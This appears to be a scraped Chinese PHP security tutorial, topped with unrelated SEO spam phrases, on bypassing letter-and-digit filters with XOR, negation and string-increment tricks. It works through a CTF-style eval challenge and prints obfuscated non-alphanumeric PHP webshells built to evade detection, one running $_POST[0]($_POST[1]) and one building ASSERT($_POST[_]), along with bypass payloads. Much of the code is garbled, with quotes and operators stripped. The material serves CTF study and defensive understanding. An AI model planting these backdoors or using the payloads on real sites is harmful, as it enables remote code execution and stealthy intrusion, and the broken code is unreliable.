上孩做网站,苏醒wordpress下载,原创网站设计,求一个做健身餐的网站利用不含字母与数字进行绕过
1.异或进行绕过 2.取反进行绕过 3.利用php语法绕过 利用不含字母与数字进行绕过
基本代码运行思路理解 ?php echo A^; ? 运行结果为!
我们可以看到#xff0c;输出的结果是字符!。之所以会…利用不含字母与数字进行绕过
1.异或进行绕过 2.取反进行绕过 3.利用php语法绕过 利用不含字母与数字进行绕过
基本代码运行思路理解 ?php echo A^; ? 运行结果为!
我们可以看到输出的结果是字符!。之所以会得到这样的结果是因为代码中对字符A和字符进行了异或操作。在PHP中两个变量进行异或时先会将字符串转换成ASCII值再将ASCII值转换成二进制再进行异或异或完又将结果从二进制转换成了ASCII值再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。
那么什么是异或操作呢
在php中异或操作是两个二进制数相同时异或为0不同为1
比如像上面这个例子
A的ASCII值是65对应的二进制值是0100 0001
的ASCII值是96对应的二进制值是0110 0000
异或的二进制的值是00100001对应的ASCII值是33对应的字符串的值就是了
我们都知道PHP是弱类型的语言也就是说在PHP中我们可以不预先声明变量的类型而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点我们对PHP的变类型进行隐式的转换并利用这个特点进行一些非常规的操作。如将整型转换成字符串型将布尔型当作整型或者将字符串当作函数来处理下面我们来看一段代码 ?php function B(){ echo Hello Angel_Kitty; } $_; $__ ? ^ }; $__(); ? 执行结果为Hello Angel_Kitty
我们一起来分析一下上面这段代码
$_;这行代码的意思是对变量名为_的变量进行自增操作在PHP中未定义的变量默认值为null,nullfalse0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。 $__? ^ };对字符?和}进行异或运算得到结果B赋给变量名为__(两个下划线)的变量 $ __ ();通过上面的赋值操作变量$__的值为B所以这行可以看作是B(),在PHP中,这行代码表示调用函数B,所以执行结果为Hello Angel_Kitty。在PHP中我们可以将字符串当作函数来处理。 看到这里相信大家如果再看到类似的PHP后门应该不会那么迷惑了你可以通过一句句的分析后门代码来理解后门想实现的功能。
我们希望使用这种后门创建一些可以绕过检测的并且对我们有用的字符串如_POST\, system\, call_user_func_array或者是任何我们需要的东西。
下面是个非常简单的非数字字母的PHP后门 ?php $_; // $_ 1 $__(#^|); // $__ _ $__.(.^~); // _P $__.(/^); // _PO $__.(|^/); // _POS $__.({^/); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]); ? 那么我们现在来做一道题
这道题需要我们执行getFlag函数通过GET传参并对code参数进行了字母大小写和数字过滤
这道题就可以用异或操作来绕过
1.异或进行绕过
?php
include flag.php;
if(isset($_GET[code])){$code $_GET[code];if(strlen($code)40){die(Long.);}if(preg_match(/[A-Za-z0-9]/,$code)){die(NO.);}eval($code);
}else{highlight_file(__FILE__);
}
//$hint php function getFlag() to get flag;
??php
function getFlag(){echo {bypass successfully!};
}
?
payload如下 ?code$_{{{^?/;${$_}[_]();_getFlag {{{^?/的结果是_GET所以${$_}[_]()$_GET[_]()而此时_getFlag
所以直接就执行了getFlag()拿到flag 2.取反进行绕过
下面是一段代码进行原理理解 payload ?code$_~%98%9A%8B%B9%93%9E%98;$_(); 3.利用php语法绕过
利用简单实例理解原理
利用php语法规则
这就得借助PHP的一个小技巧先看文档 http://php.net/manual/zh/language.operators.increment.php
在处理字符变量的算数运算时PHP 沿袭了 Perl 的习惯而非 C 的。例如在 Perl 中 $a Z; $a; 将把 $a 变成AA而在 C 中a Z; a; 将把 a 变成 [Z 的 ASCII 值是 90[ 的 ASCII 值是 91。注意字符变量只能递增不能递减并且只支持纯字母a-z 和 A-Z。递增递减其他字符变量则无效原字符串没有变化。
也就是说a bb c... 所以我们只要能拿到一个变量其值为a通过自增操作即可获得a-z中所有字符。
那么如何拿到一个值为字符串a的变量呢
巧了数组Array的第一个字母就是大写A而且第4个字母是小写a。也就是说我们可以同时拿到小写和大写A等于我们就可以拿到a-z和A-Z的所有字母。
在PHP中如果强制连接数组和字符串的话数组将被转换成字符串其值为Array 再取这个字符串的第一个字母就可以获得A了。
利用这个技巧我编写了如下webshell因为PHP函数是大小写不敏感的所以我们最终执行的是ASSERT($POST[])无需获取小写a
?php
$_[];
$_$_; // $_Array;
$_$_[!]; // $_$_[0];
$___$_; // A
$__$_;
$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;
$___.$__; // S
$___.$__; // S
$__$_;
$__;$__;$__;$__; // E
$___.$__;
$__$_;
$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // R
$___.$__;
$__$_;
$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // T
$___.$__;
ASSERT
$_____;
$__$_;
$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // P
$____.$__;
$__$_;
$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // O
$____.$__;
$__$_;
$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // S
$____.$__;
$__$_;
$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // T
$____.$__;$_$$____;
$___($_[_]); // ASSERT($_POST[_]);
payload ?code$啊^|^%*:,!;$啊();